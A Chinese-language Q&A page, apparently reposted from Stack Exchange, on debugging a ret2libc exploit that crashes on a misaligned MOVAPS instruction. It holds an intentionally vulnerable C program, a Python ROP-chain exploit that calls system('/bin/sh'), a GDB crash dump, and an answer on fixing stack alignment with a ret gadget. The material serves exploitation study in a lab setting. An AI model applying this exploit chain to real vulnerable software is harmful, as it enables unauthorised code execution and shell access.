Ret2libc攻击触发MOVAPS段错误的问题排查求助
Ret2Libc栈溢出调试段错误的解决思路
漏洞代码
#include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h> void vuln(char *input); int main(int argc, char **argv) { if (argc > 1){ vuln(argv[1]); }; return 0; } void vuln(char *input){ char buffer[256]; memcpy(buffer, input, 300); }
编译命令
gcc -no-pie -fno-stack-protector ret2libc.c -o ret2libc.elf -D_FORTIFY_SOURCE=0 -g
现有利用脚本
import sys import struct libc_base_address = 0x00007ffff7dbe000 pop_rdi_offset = 0x0000000000023835 bin_sh_offset= 0x198031 system_function_offset = 0x00000000000493d0 exit_function_offset = 0x000000000003b100 pop_rdi_address = struct.pack("Q",libc_base_address+pop_rdi_offset) bin_sh_address = struct.pack("Q",libc_base_address+bin_sh_offset) system_function_address = struct.pack("Q",libc_base_address+system_function_offset) exit_function_address = struct.pack("Q",libc_base_address+exit_function_offset) buff = b"A"*256 rbp = b"B"*8 sys.stdout.buffer.write(buff+rbp+pop_rdi_address+bin_sh_address+system_function_address+exit_function_address)
调试段错误信息
gef➤ r $(python exploit.py) Starting program: /home/burak/programming/reverse/vuln2/ret2libc.elf $(python exploit.py) Debuginfod has been disabled. To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit. [*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc8000' [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7e070b3 in ?? () from /usr/lib/libc.so.6 [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x007ffff7f9e260 → 0x007fffffffe518 → 0x007fffffffe95c → "ALACRITTY_LOG=/tmp/Alacritty-724115.log" $rbx : 0x007fffffffe218 → 0x0000000000000c (" "?) $rcx : 0x007fffffffe218 → 0x0000000000000c (" "?) $rdx : 0x0 $rsp : 0x007fffffffe008 → 0x0000000000000000 $rbp : 0x007fffffffe078 → 0x0000000000000000 $rsi : 0x007ffff7f56031 → 0x68732f6e69622f ("/bin/sh"?) $rdi : 0x007fffffffe014 → "////////////" $rip : 0x007ffff7e070b3 → movaps XMMWORD PTR [rsp+0x50], xmm0 $r8 : 0x007fffffffe058 → 0x0000000000000000 $r9 : 0x007fffffffe518 → 0x007fffffffe95c → "ALACRITTY_LOG=/tmp/Alacritty-724115.log" $r10 : 0x8 $r11 : 0x246 $r12 : 0x007ffff7f56031 → 0x68732f6e69622f ("/bin/sh"?) $r13 : 0x007fffffffe518 → 0x007fffffffe95c → "ALACRITTY_LOG=/tmp/Alacritty-724115.log" $r14 : 0x00000000403df0 → 0x000000004010f0 → <__do_global_dtors_aux+0> endbr64 $r15 : 0x007ffff7ffd000 → 0x007ffff7ffe2c0 → 0x0000000000000000 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x007fffffffe008│+0x0000: 0x0000000000000000 ← $rsp 0x007fffffffe010│+0x0008: 0x2f2f2f2fffffffff 0x007fffffffe018│+0x0010: "////////" 0x007fffffffe020│+0x0018: 0x0000000000000000 0x007fffffffe028│+0x0020: 0x0000000000000000 0x007fffffffe030│+0x0028: 0x0000000000000000 0x007fffffffe038│+0x0030: 0x0000000000000000 0x007fffffffe040│+0x0038: 0x0000000000000000 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff7e070a4 mov QWORD PTR [rsp+0x60], r12 0x7ffff7e070a9 mov r9, QWORD PTR [rax] 0x7ffff7e070ac lea rsi, [rip+0x14ef7e] # 0x7ffff7f56031 → 0x7ffff7e070b3 movaps XMMWORD PTR [rsp+0x50], xmm0 0x7ffff7e070b8 mov QWORD PTR [rsp+0x68], 0x0 0x7ffff7e070c1 call 0x7ffff7eb3710 <posix_spawn> 0x7ffff7e070c6 mov rdi, rbx 0x7ffff7e070c9 mov r12d, eax 0x7ffff7e070cc call 0x7ffff7eb3610 <posix_spawnattr_destroy> ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "ret2libc.elf", stopped 0x7ffff7e070b3 in ?? (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff7e070b3 → movaps XMMWORD PTR [rsp+0x50], xmm0 [#1] 0x7ffff7df9100 → <exit+0> endbr64
解决思路
1. 修复栈对齐问题
段错误发生在exit函数内部的movaps指令,该指令要求目标内存地址必须16字节对齐。当前rsp值为0x007fffffffe008,无法被16整除,导致指令执行失败。
解决方法:在调用exit之前插入一个ret指令的gadget,让rsp增加8字节实现16字节对齐。修改后的payload结构为:
buff + rbp + pop_rdi_address + bin_sh_address + system_function_address + ret_address + exit_function_address
其中ret_address可通过ROPgadget --binary /usr/lib/libc.so.6 | grep "ret"查找对应偏移,再加上libc基址计算得到。
2. 验证libc基址与偏移正确性
- 确认当前环境下libc基址:通过
ldd ret2libc.elf或gdb中info proc mappings获取准确加载地址,避免因ASLR或版本差异导致基址错误。 - 重新确认各偏移值:使用
ROPgadget或objdump工具,针对当前使用的libc版本,验证pop rdi; ret、system、/bin/sh、exit的偏移是否匹配。
3. 确认栈偏移计算准确性
理论上buffer[256] + rbp[8] = 264字节填充可覆盖返回地址,但实际编译后的栈布局可能存在差异。可通过gdb调试确认:
- 在
vuln函数的memcpy处设断点。 - 运行程序后查看
buffer与rbp的地址差,或直接定位返回地址位置,确保填充长度准确。
4. 调整payload传递方式
当前使用$(python exploit.py)传递payload可能被shell解析或截断,建议改为管道传递:
python exploit.py | ./ret2libc.elf
内容的提问来源于stack exchange,提问作者Burak Baris
相关产品推荐
相关产品推荐

